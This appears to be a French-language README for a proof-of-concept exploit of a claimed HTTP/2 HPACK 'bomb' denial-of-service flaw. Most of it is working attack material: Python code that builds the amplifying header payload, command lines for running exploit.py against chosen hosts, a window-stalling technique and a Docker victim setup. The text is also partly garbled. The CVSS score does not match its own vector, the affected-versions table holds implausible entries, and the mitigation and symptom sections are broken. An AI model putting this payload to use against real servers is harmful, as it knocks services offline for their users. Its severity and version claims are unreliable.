
CVE-2026-49975 est une vulnérabilité critique de déni de service (DoS) dans les implémentations de serveurs et de proxys HTTP/2. L'attaque, surnommée « Bombe HTTP/2 » ou « Bombe HPACK », exploite deux comportements au niveau de la conception du protocole HTTP/2 pour forcer une cible à consommer une quantité illimitée de mémoire (OOM) et à épuiser son CPU :
Score de base CVSS 3.1 : 9.8 (Critique)
Vecteur : AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
L'attaque est plus efficace lorsque les deux étapes se complètent, mais chaque étape prise isolément suffit contre certaines implémentations.
La compression des en-têtes HPACK de HTTP/2 utilise une table dynamique évolutive. Une fois qu'un grand en-tête cookie est inséré dans la table (via l'encodage littéral+incrémental), un attaquant peut référencer cette entrée avec un opcode d'un octet. Des références répétées amènent le décodeur à reconstruire le même en-tête encore et encore.
Wire: [Opcode: Indexed (0x80)] [Index: 63]
[1 byte per ref, repeated thousands of times]
↓
Decoded memory blow-up: each expansion yields a
{":method: GET", "cookie: a=xxxxxxxxx...x"} buffered for the
stream.
Un paquet de 5 Ko peut se dilater en centaines de mégaoctets de charge utile décodée.
La configuration SETTINGS avec INITIAL_WINDOW_SIZE=0 force la victime à
mettre en file d'attente toutes les données HEADERS/continuation.
L'attaquant émet lentement des trames WINDOW_UPDATE. Les tampons restent
combinatoirement pleins.
| Mécanisme | facteur d'amplification |
|---|---|
| corps HEADERS brut | 1x |
| explosion de références HPACK | 20–80x |
| + flux simultanés | 100–500x |
| + blocage de fenêtre | 1000x+ |
Consultez l'entrée CVE de votre fournisseur pour connaître les limites exactes.
# Python 3.8+ with ssl support
python --version
# SSL Certificate optional; PoC sets CERT_NONE
Victime rapide avec Docker :
docker run -d --name h2-victim -p 4433:443 \
nghttp2/nghttp2:1.57.0 nghttpd --dh-param-file /dev/null
Le script compagnon est exploit.py.
La routine principale :
def build_hpack_bomb(num_headers: int = 20000) -> bytes:
cookie_name = b"cookie"
cookie_value = "a=" + "y" * 128
data = bytearray()
# Step 1: insert cookie into dynamic table
data.append(0x40) # Literal+incremental
data.extend(encode_hpack_int(len(cookie_name), 7))
data.extend(cookie_name)
data.extend(encode_hpack_int(len(cookie_value), 7))
data.extend(cookie_value.encode())
# Step 2: spam Indexed refs (index 63)
for _ in range(num_headers):
data.append(0x80)
data.extend(encode_hpack_int(63, 7))
return bytes(data)
Le script effectue :
# Basic run (default 10000 refs)
python exploit.py 192.168.1.100
# Custom port + 20000 refs
python exploit.py server.local 8443 -n 20000
# Disable window stall
python exploit.py endpoint.com --no-stall
# Longer observation (60 seconds)
python exploit.py 10.0.0.5 -d 60
# Verbose
python exploit.py 10.0.0.5 -v
Surveillez les ressources de la victime :
watch -n1 'free -h && echo "--- top CPU/PID ---"'
ps -o pid,rss,pcpu,comm -p <victim_pid>
Signes indiquant que l'attaque fonctionne :
| Approche | paramètre |
|---|---|
| Limiter les en-têtes par flux |
Ces informations sont uniquement destinées à des tests de sécurité pédagogiques et autorisés. N'utilisez ceci que contre des systèmes que vous possédez ou pour lesquels vous avez une autorisation écrite de test.
| Fournisseur / Projet | Version | description |
|---|
| Apache mod_http2 | < 2.0.13 | OOM lors de l'explosion des références indexées |
| nghttp2 | < 1.62.0 | gonflement mémoire illimité |
| h2o | < 4.0.2 | boucle infinie dans le décodeur |
| Node.js http2 crate | < 1.12.0 | expansion intrinsèque dans nghttp2-rs |
| Go net/http (h2) | < 1.24 | blocage de goroutine + allocation OSL |
| Apache Traffic Server | < 9.3.0 | OOM via tampon interne |
| HAProxy h2 | < 2.9 | crash sur AVP surdimensionné |
| Envoy | < 1.30 | allocation massive dans le contrôle de flux |
| Rust hyper/h2 crate | < 5.14 | panique sur débordement SK |
MaxHeaderCount 500| Rejeter la faible compression | seuil de ratio < 5 |
| Borner la croissance HPACK | limiter la table dynamique à 1 Ko |
| Mémoire par connexion | rejeter après N Mo |
| limitation de débit | générique conn/s, req/s |